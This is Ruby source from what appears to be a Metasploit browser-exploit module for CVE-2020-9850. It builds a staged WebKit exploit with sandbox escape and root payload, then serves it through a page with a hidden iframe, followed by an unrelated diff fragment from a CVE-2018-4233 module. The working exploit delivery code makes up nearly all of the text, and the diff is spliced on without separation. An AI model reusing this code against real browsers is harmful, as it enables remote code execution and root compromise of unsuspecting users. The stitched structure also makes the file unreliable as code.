if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
user_agent = request['User-Agent']
print_status("Request #{request.uri} from #{user_agent}")
if request.uri.ends_with? '.pdf'
send_response(cli, '', { 'Content-Type' => 'application/pdf' })
return
end
offsets = get_offsets(user_agent)
unless offsets
send_not_found(cli)
return
end
utils = exploit_data 'javascript_utils', 'utils.js'
int64 = exploit_data 'javascript_utils', 'int64.js'
stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'
stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'
stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'
offset_table['placeholder'].each do |k, v|
placeholder_index = stage1.index([v].pack('Q'))
stage1[placeholder_index, 8] = [offsets[k]].pack('Q')
end
case target['Arch']
when ARCH_X64
root_payload = payload.encoded
when ARCH_PYTHON
root_payload = "CMD:echo \"#{payload.encoded}\" | python"
when ARCH_CMD
root_payload = "CMD:#{payload.encoded}"
end
if root_payload.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
end
placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
stage2[placeholder_index, root_payload.length] = root_payload
payload_js = <<~JS
const stage0 = [
#{Rex::Text.to_num(stage0)}
];
var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);
var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);
JS
jscript = <<~JS
#{utils}
#{int64}
#{payload_js}
#{exploit_js}
JS
if datastore['DEBUG_EXPLOIT']
debugjs = %^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(%r{//.*$}, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
pdfpath = datastore['URIPATH'] || get_resource
pdfpath += '/' unless pdfpath.end_with? '/'
pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'
html = <<~HTML
<html>
<head>
<style>
body {
margin: 0;
}
iframe {
display: none;
}
</style>
</head>
<body>
<iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>
<script>
#{jscript}
</script>
</body>
</html>
HTML
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
end
end
@@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
@@ -75,11 +76,6 @@ class MetasploitModule < Msf::Exploit::Remote
}
end
def exploit_data(directory, file)
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
::File.binread path
end
def stage1_js
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
@@ -140,8 +136,8 @@ EOF
return
end
utils = exploit_data "CVE-2018-4233", "utils.js"
int64 = exploit_data "CVE-2018-4233", "int64.js"
utils = exploit_data "javascript_utils", "utils.js"
int64 = exploit_data "javascript_utils", "int64.js"
html = %Q^
<html>
<body>